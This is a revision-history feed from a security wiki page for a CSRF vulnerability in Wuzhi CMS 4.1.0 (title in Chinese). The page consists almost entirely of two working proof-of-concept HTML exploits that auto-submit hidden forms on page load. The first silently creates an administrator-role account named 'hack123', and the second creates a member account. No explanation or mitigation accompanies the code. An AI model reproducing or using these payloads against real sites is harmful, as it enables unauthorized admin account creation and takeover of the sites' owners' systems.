https://pwnwiki.com/index.php?action=history&feed=atom&title=%E4%BA%94%E6%8C%87CMS_4.1.0_%E7%AE%A1%E7%90%86%E5%93%A1%E8%B3%AC%E6%88%B6%E6%96%B0%E5%A2%9ECSRF%E6%BC%8F%E6%B4%9E
五指CMS 4.1.0 管理員賬戶新增CSRF漏洞 - Revision history
2026-04-25T10:14:13Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E4%BA%94%E6%8C%87CMS_4.1.0_%E7%AE%A1%E7%90%86%E5%93%A1%E8%B3%AC%E6%88%B6%E6%96%B0%E5%A2%9ECSRF%E6%BC%8F%E6%B4%9E&diff=1461&oldid=prev
Pwnwiki: Created page with "==CSRF1== <pre> <html><body> <script type="text/javascript"> function post(url,fields) { var p = document.createElement("form"); p.action = url; p.inne..."
2021-04-10T05:36:16Z
<p>Created page with "==CSRF1== <pre> <html><body> <script type="text/javascript"> function post(url,fields) { var p = document.createElement("form"); p.action = url; p.inne..."</p>
<p><b>New page</b></p><div>==CSRF1==<br />
<pre><br />
<html><body><br />
<script type="text/javascript"><br />
function post(url,fields)<br />
{<br />
var p = document.createElement("form");<br />
p.action = url;<br />
p.innerHTML = fields;<br />
p.target = "_self";<br />
p.method = "post";<br />
document.body.appendChild(p);<br />
p.submit();<br />
}<br />
function csrf_hack()<br />
{<br />
var fields;<br />
<br />
fields += "<input type='hidden' name='form[role][]' value='1' />";<br />
fields += "<input type='hidden' name='form[username]' value='hack123' />"; <br />
fields += "<input type='hidden' name='form[password]' value='' />"; <br />
fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />"; <br />
<br />
var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=提交";<br />
post(url,fields);<br />
}<br />
window.onload = function() { csrf_hack();}<br />
</script><br />
</body></html><br />
</pre><br />
<br />
==CSRF2==<br />
<pre><br />
<html><body><br />
<script type="text/javascript"><br />
function post(url,fields)<br />
{<br />
var p = document.createElement("form");<br />
p.action = url;<br />
p.innerHTML = fields;<br />
p.target = "_self";<br />
p.method = "post";<br />
document.body.appendChild(p);<br />
p.submit();<br />
}<br />
function csrf_hack()<br />
{<br />
var fields;<br />
<br />
fields += "<input type='hidden' name='info[username]' value='hack123' />";<br />
fields += "<input type='hidden' name='info[password]' value='hacktest' />"; <br />
fields += "<input type='hidden' name='info[pwdconfirm]' value='hacktest' />"; <br />
fields += "<input type='hidden' name='info[email]' value='taoge@5ecurity.cn' />"; <br />
fields += "<input type='hidden' name='info[mobile]' value='' />"; <br />
fields += "<input type='hidden' name='modelids[]' value='10' />"; <br />
fields += "<input type='hidden' name='info[groupid]' value='3' />"; <br />
fields += "<input type='hidden' name='pids[]' value='0' />"; <br />
fields += "<input type='hidden' name='pids[]' value='0' />"; <br />
fields += "<input type='hidden' name='pids[]' value='0' />";<br />
fields += "<input type='hidden' name='pids[]' value='0' />"; <br />
fields += "<input type='hidden' name='avatar' value='' />"; <br />
fields += "<input type='hidden' name='islock' value='0' />";<br />
fields += "<input type='hidden' name='sys_name' value='0' />";<br />
fields += "<input type='hidden' name='info[birthday]' value='' />"; <br />
fields += "<input type='hidden' name='info[truename]' value='' />"; <br />
fields += "<input type='hidden' name='info[sex]' value='0' />";<br />
fields += "<input type='hidden' name='info[marriage]' value='0' />";<br />
<br />
var url = "http://127.0.0.1/www/index.php?m=member&f=index&v=add&_su=wuzhicms&_menuid=30&_submenuid=74&submit=提交";<br />
post(url,fields);<br />
}<br />
window.onload = function() { csrf_hack();}<br />
</script><br />
</body></html><br />
</pre></div>
Pwnwiki